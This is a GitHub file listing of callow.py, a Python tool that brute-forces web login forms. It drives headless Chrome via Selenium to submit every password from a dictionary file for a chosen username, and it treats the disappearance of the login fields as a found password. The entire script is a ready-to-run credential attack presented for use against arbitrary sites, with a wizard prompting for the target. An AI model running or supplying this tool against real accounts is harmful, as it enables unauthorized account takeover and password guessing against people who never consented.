-
Notifications
You must be signed in to change notification settings - Fork 42
/
callow.py
160 lines (148 loc) · 8.4 KB
/
callow.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
# Importing modules
import sys # Basic functions
import requests # Handling HTTP requests
import selenium # Selenium automates browsers. That's it!
from selenium import webdriver # Used to control the browser
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from optparse import OptionParser # For argument support
# Fancy colors
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
WHITE = '\033[0m'
# Arguments
parser = OptionParser() # Shorten the argument parser function
parser.add_option("--site", dest="website", help="Target login page (http/https only)") # Argument for the target login page
parser.add_option("--usel", dest="usersel", help="Username input selector") # Argument for the css selector of the username input element
parser.add_option("--psel", dest="passsel", help="Password input selector") # Argument for the css selector of the password input element
parser.add_option("--user", dest="username", help="Target username to attack") # Argument for the target username to be attacked
parser.add_option("--pass", dest="passlist", help="Password dictionary") # Arguments for the location of the password dictionary file
(options, args) = parser.parse_args() # Parse the arguments given by the user
# Fancy ASCII Banner
banner = color.PURPLE + '''
____ _ _
/ ___|__ _| | | _____ __
| | / _` | | |/ _ \\ \ /\\ / /
| |__| (_| | | | (_) \\ V V /
\\____\\__,_|_|_|\\___/ \\_/\\_/
{0}[#] {1}maximousblk/callow@v1.3
'''.format(color.CYAN, color.WHITE)
# Wizard that is presented if executed without any arguments
def wizard():
print(banner) # Show the banner
try: # Check if the page is accecible
website = input(color.GREEN + '\n[~] ' + color.WHITE + 'Target login page (http/https only): ')
sys.stdout.write(color.GREEN + '[#] ' + color.WHITE + 'Checking if site is accessible ')
sys.stdout.flush()
request = requests.get(website) # Send a GET request to the website
if request.status_code == 200: # If the website exists
print(color.GREEN + '[OK]\n'+color.WHITE)
else: # If the website is inaccessible
print(color.RED + '[X]' + '\n[!] '+color.WHITE + 'Could not connect to ' + website)
exit(1)
except KeyboardInterrupt: # If user exits the program manually
print(color.RED + '\n[!] '+ color.WHITE + 'Process terminated by user. Exiting...')
exit(0)
except requests.exceptions.MissingSchema: # Protocol (http/https) is missing from the URL
print(color.RED + '[X]' + '\n[!] '+color.WHITE + 'Invalid URL. Make sure you use http/https only.')
exit(1)
except requests.ConnectTimeout: # If page takes too late to respond
print(color.RED + '[X]' + '\n[!] '+color.WHITE + 'Connection timed out')
exit(1)
try: # Collect information
usersel = input( color.GREEN + '[~] ' + color.WHITE + 'Username input selector: ') # Css selector for username input field
passsel = input( color.GREEN + '[~] ' + color.WHITE + 'Password input selector: ') # Css selector for password input field
username = input( color.GREEN + '[~] ' + color.WHITE + 'Target username: ') # Username of the target
passlist = input( color.GREEN + '[~] ' + color.WHITE + 'Password dictionary: ') # Location of the password dictionary/list
f = open(passlist, 'r') # Open password list
crack(username, usersel, passsel, passlist, website) # Start the attack
except KeyboardInterrupt: # If user exits the program manually
print(color.RED + '\n[!] '+color.WHITE + 'Process terminated by user. Exiting...')
exit(0)
# Main brute-force function
def crack(username, usersel, passsel, passlist, website):
try: # Open password list
f = open(passlist, 'r')
except FileNotFoundError: # If list was not found
print(color.RED + '\n[!] '+color.WHITE + 'Password list not found')
exit(1)
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument("--disable-popup-blocking")
chrome_options.add_argument("--disable-extensions")
chrome_options.add_argument("--headless")
chrome_options.add_argument("--log-level=2")
try: # Start the browser
browser = webdriver.Chrome(options=chrome_options)
browser.implicitly_wait(2)
except selenium.common.exceptions.WebDriverException: # If ChromeDriver binary was not found
print(color.RED + '\n[!] '+color.WHITE + 'ChromeDriver binary not found')
exit(1)
browser.get(website) # Open target website
try: # Check if username field css selector is valid and available
browser.find_element(By.CSS_SELECTOR, value=usersel)
except selenium.common.exceptions.NoSuchElementException: # If the selector is invalid
print(color.RED + '\n[!] '+ color.WHITE + 'Username field selector is invalid.')
exit(1)
try: # Check if password field css selector is valid and available
browser.find_element(By.CSS_SELECTOR, value=passsel)
except selenium.common.exceptions.NoSuchElementException: # If the selector is invalid
print(color.RED + '\n[!] '+ color.WHITE + 'Password field selector is invalid.')
exit(1)
print(color.GREEN + '\nTarget user: ' + color.RED + username + color.WHITE + '\n') # Print username of the target
try: # Start the attack
for password in f: # Run the attack untill the password list is over
browser.get(website) # Open fresh website
browser.find_element(By.CSS_SELECTOR, value=usersel).send_keys(username) # Enter username
browser.find_element(By.CSS_SELECTOR, value=passsel).send_keys(password + Keys.ENTER) # Enter password
tried = password
print(color.GREEN + 'Tried: ' + color.WHITE + tried) # Log last tried password
print(color.RED + '\n[!] '+color.WHITE + 'Sorry, password could not be found') # Message for if the password list is over and the password was not found
except KeyboardInterrupt: # If user exits the program manually
print(color.RED + '\n[!] '+color.WHITE + 'Process terminated by user. Exiting...')
exit(0)
except selenium.common.exceptions.NoSuchElementException: # If the password or username field gets hidden, that means either the password is found (or you are IP banned)
print(color.GREEN + '\n[#] ' + color.WHITE + 'Password found: ' + color.CYAN + tried)
print(color.YELLOW + 'Happy to help ;)' + color.WHITE)
exit(0)
# Tests to check if the arguments are valid
if options.website == None and options.usersel == None and options.passsel == None and options.username == None and options.passlist == None: # if no arguments are given
wizard()
missing_args = ""
if options.website == None:
missing_args += "--site "
if options.usersel == None:
missing_args += "--usel "
if options.passsel == None:
missing_args += "--psel "
if options.username == None:
missing_args += "--user "
if options.passlist == None:
missing_args += "--pass"
if missing_args != "": # If any (but not all) arguments are missing
print(color.RED + '\n[!] '+color.WHITE + 'Missing arguments: ' + missing_args)
wizard()
else: # If all arguments are present
print(banner)
sys.stdout.write(color.GREEN + '[#] ' + color.WHITE + 'Checking if site is accessible ')
sys.stdout.flush()
try: # Check if the page is accecible
request = requests.get(options.website) # Send a GET request to the website
if request.status_code == 200: # If the website exists
print(color.GREEN + '[OK]\n'+color.WHITE)
else: # If the website is inaccessible
print(color.RED + '[X] ' + '\n[!]'+color.WHITE + 'Could not connect to ' + options.website)
exit(1)
except KeyboardInterrupt: # If user exits the program manually
print(color.RED + '\n[!] '+color.WHITE + 'Process terminated by user. Exiting...')
exit(0)
except requests.exceptions.MissingSchema: # Protocol (http/https) is missing from the URL
print(color.RED + '[X] ' + '\n[!]'+color.WHITE + 'Invalid URL. Make sure you use http/https only.')
exit(1)
except requests.ConnectTimeout: # If page takes too late to respond
print(color.RED + '[X] ' + '\n[!]'+color.WHITE + 'Connection timed out')
exit(1)
crack(options.username, options.usersel, options.passsel, options.passlist, options.website) # Start the attack